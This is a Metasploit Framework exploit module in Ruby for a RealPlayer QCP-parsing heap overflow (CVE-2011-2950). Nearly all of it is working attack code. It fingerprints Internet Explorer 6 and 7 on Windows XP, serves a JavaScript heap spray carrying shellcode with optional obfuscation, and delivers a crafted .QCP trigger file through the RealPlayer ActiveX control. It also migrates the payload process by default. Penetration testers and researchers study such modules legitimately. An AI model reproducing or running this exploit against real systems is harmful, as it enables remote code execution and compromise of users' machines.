##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "RealNetworks Realplayer QCP Parsing Heap Overflow",
			'Description' => %q{
					This module exploits a heap overflow in Realplayer when handling a .QCP file.
					The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is
					allocated on the heap and user-supplied data from the file is copied within a
					memory copy loop.

					This allows a remote attacker to execute arbitrary code running in the context
					of the web browser via a .QCP file with a specially crafted "fmt" chunk.
					At this moment this module exploits the flaw on Windows XP IE6, IE7.
				},
			'License'     => MSF_LICENSE,
			'Author'      =>
				[
					'Sean de Regge', # Vulnerability discovery
					'juan vazquez'   # Metasploit module
				],
			'References' =>
				[
					['CVE', '2011-2950'],
					['OSVDB', '74549'],
					['BID', '49172'],
					# ZDI advisory
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],
					# Vendor advisory
					['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],
					#Fix commit
					['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],
				],
			'Payload' =>
				{
					'Space' => 1024
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Automatic', {} ],
					[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],
					[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],
				],
			'DisclosureDate' => "Aug 16 2011",
			'DefaultTarget' => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + IE 7.0
				my_target = targets[2]
			elsif agent =~ /RMA/
				#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"
				#when requesting our trigger file
				return 'RMA'
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

	def exploit
		#Set trigger file name
		@filename = rand_text_alpha(rand(6) + 3)
		#Create the trigger file
		@trigger = build_trigger
		super
	end

	def on_request_uri(cli, request)
		#Pick the right target
		vprint_status("Selecting target...")
		my_target = get_target(cli, request)
		if my_target.nil?
			print_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

		#Send the trigger file upon request
		if request.uri.match(/\.qcp$/)
			print_status("Sending trigger file")
			send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vprint_status("Building shellcode...")
		code = Rex::Text.to_unescape(payload.encoded)

		vprint_status("Building spray...")
		spray = build_spray(my_target, code)

		#obfuscate on demand
		vprint_status("Obfuscating javascript...")
		if datastore['OBFUSCATE']
			spray = Rex::Exploitation::JSObfu.new(spray)
			spray.obfuscate
		end

		vprint_status("Building html...")
		#Value for the 'Src' parameter of our ActiveX control
		trigger_file = ""
		if ("/" == get_resource[-1,1])
			trigger_file = get_resource[0, get_resource.length - 1]
		else
			trigger_file = get_resource
		end
		trigger_file << "/#{@filename}.qcp"


		html = <<-EOS
		<HTML>
		<HEAD>
		</HEAD>
		<BODY>
		<script language='javascript'>
		#{spray}
		</script>
		<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>
		<PARAM NAME="SRC" VALUE="#{trigger_file}">
		<PARAM NAME="CONTROLS" VALUE="ImageWindow">
		<PARAM NAME="CONSOLE" VALUE="one">
		<PARAM NAME="AUTOSTART" VALUE="true">
		<EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>
		</OBJECT>
		</BODY>
		EOS

		print_status("Sending #{self.name}")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end

	def build_trigger()
		overflow_size = 700
		overflow_string = "\x11" * 700

		#riff_mark
		trigger = "\x52\x49\x46\x46"
		#total_size
		trigger << [0xed44 + overflow_size].pack("V")
		#qlcm_tag
		trigger << "\x51\x4c\x43\x4d"
		#fmt_tag
		trigger << "\x66\x6d\x74\x20"
		#fmt_size
		trigger << [0x96 + overflow_size].pack("V")
		#fmt_content
		trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"
		trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"
		trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"
		trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"
		trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"
		trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"
		trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"
		trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"
		trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"
		trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"
		trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"
		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
		trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"
		trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"
		trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"
		trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"
		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
		trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"
		trigger << "\x00\x00\x00\x00\x00\x00"
		trigger << overflow_string
		#vrat_tag
		trigger << "\x76\x72\x61\x74"
		#vrat_size
		trigger << [0x8].pack("V")
		#vrat_content
		trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"
		#data_tag
		trigger << "\x64\x61\x74\x61"
		#data_size
		trigger << [0xec8a].pack("V")
		#data_content
		trigger << rand_text_alpha(0xec8a)
		return trigger
	end

	def build_spray(mytarget, code)
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);

		var code = unescape("#{code}");
		var nops = unescape("#{mytarget['Nops']}");

		while (nops.length < 0x10000) nops += nops;
		offset = nops.substring(0, 0x7BE0);
		var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);

		while (shellcode.length < 0x20000) shellcode += shellcode;
		block = shellcode.substring(0, (0x10000-6)/2);

		heap_obj.gc();

		for (var i=0; i < 0x1400; i++) {
			heap_obj.alloc(block);
		}
		JS

		spray = heaplib(spray)
		return spray
	end

end
